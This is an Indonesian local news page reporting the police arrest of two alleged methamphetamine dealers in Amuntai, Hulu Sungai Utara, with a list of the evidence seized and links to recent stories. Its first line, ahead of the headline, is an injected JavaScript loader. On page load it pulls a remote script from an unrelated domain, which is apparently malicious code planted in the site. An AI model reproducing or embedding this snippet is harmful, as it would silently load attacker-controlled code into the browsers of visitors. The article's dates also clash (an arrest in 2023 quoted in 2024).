(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal

Dua Pengedar Sabu di Desa Pasar Senin Ditangkap


KANALKALIMANTAN.COM, AMUNTAI – Satuan Reserse Narkoba (Satresnarkoba) Polres Hulu Sungai Utara (HSU) berhasil mengamankan 13 paket Narkotika jenis sabu 7,77 gram -berat bersih 4.78 gram-.

Tiga belas paket sabu tersebut berasal dari dua pengedar berinisial SY (44) warga Jalan Lorong Petani Desa Pasar Senin Kecamatan Amuntai Tengah dan BR (38) warga Jalan H Hasan Baseri Desa Pasar Senin Kecamatan Amuntai Tengah Kabupaten HSU.

Kapolres HSU melalui Kasatresnarkoba AKP Sutargo membenarkan pihaknya telah mengamankan bergiliran terhadap dua orang tersangka SY dan BR pada Jumat 26 Januari 2023 sekira pukul 16.25 Wita, dari lokasi yang berbeda.

“Keduanya ditanggkap berawal dari informasi masyarakat bahwa sering terjadi transaksi sabu di Desa Pasar Senin,” ungkap Kasatresnarkoba, AKP Sutargo, kepada Kanalkalimantan.com, Selasa (30/1/2024).

Baca juga: Modus Korupsi Proyek Jamban Desa Astambul Kota Terungkap di Persidangan

Berdasarkan informasi itu, anggota Satresnarkoba Polres HSU menindaklanjuti laporan masyarakat dengan melakukan pengintaian.

Setelah memastikan keberadaan SY, anggota Satresnarkoba langsung melakukan penangkapan di kediamannya.

Setelah dilakukan penggeledahan, petugas akhirnya menemukan barang bukti 13 paket sabu dengan berat keseluruhan 7,77 gram dan berat bersih 4.78 gram.

Disaksikan aparat desa setempat, petugas juga mengamankan barang bukti lain seperti 1 buah pipet kaca yang berisikan sisa narkotika jenis sabu, 1 buah toples warna hitam yang bertuliskan B29, 1 bungkus plastik piper klip warna transparan.

Baca juga: Relawan Damkar Meninggal Tenggelam di Siring 0 Km Banjarmasin, Yuda Sempat Ajak Rekan Berenang 

Ditambah 1 buah timbangan digital kecil, seperangkat alat hisab atau bong, 1 buah botol alcohol, dan 1 buah handphone milik pelaku.

Berdasarkan keterangan pelaku SY, narkotika tersebut didapat dari pelaku BR, kemudian dilakukan pengejaran terhadap BR.

Saat perjalanan menuju rumah BR, ternyata petugas berpapasan dengan BR dan langsung membekuknya saat itu juga.

Ketika dilakukan penggeledahan badan pelaku BR, ditemukan uang upah hasil penjualan narkotika sebesar Rp100ribu, 1 buah handphone Android, serta 1 depeda motor merk Suzuki Satria F milik BR.

Baca juga: Siap Bangun Trotoar Jalan Kemuning, Dinas PUPR Banjarbaru Anggarkan Rp5,5 Miliar

Atas kejadian tersebut kemudian dua pelaku dan barang bukti dibawa ke Mapolres HSU untuk proses penyidikan lebih lanjut. (Kanalkalimantan.com/dew)

Reporter: dew
Editor: bie


Risa

Recent Posts

Kabupaten Banjar Laksanakan Penyusunan RDTR Wilayah Perencanaan Perkotaan Gambut – Kertakhanyar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More

11 jam ago

KPK Gali Keterangan Empat Saksi Terkait Aliran Uang ke Sahbirin Noor

KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More

11 jam ago

Ditreskrimsus Polda Kalsel Ungkap 46 Kasus Termasuk Judi Online

KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More

11 jam ago

LPTQ Banjar Audiensi ke Pjs Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More

15 jam ago

CEK FAKTA: Pernyataan Paslon Bahrul Ilmi Impor Guru dari Pulau Jawa, Bangun Jalan Beton di Batola

KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More

15 jam ago

Puluhan TPS Rawan Masuk Pemetaan Bawaslu Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More

17 jam ago

This website uses cookies.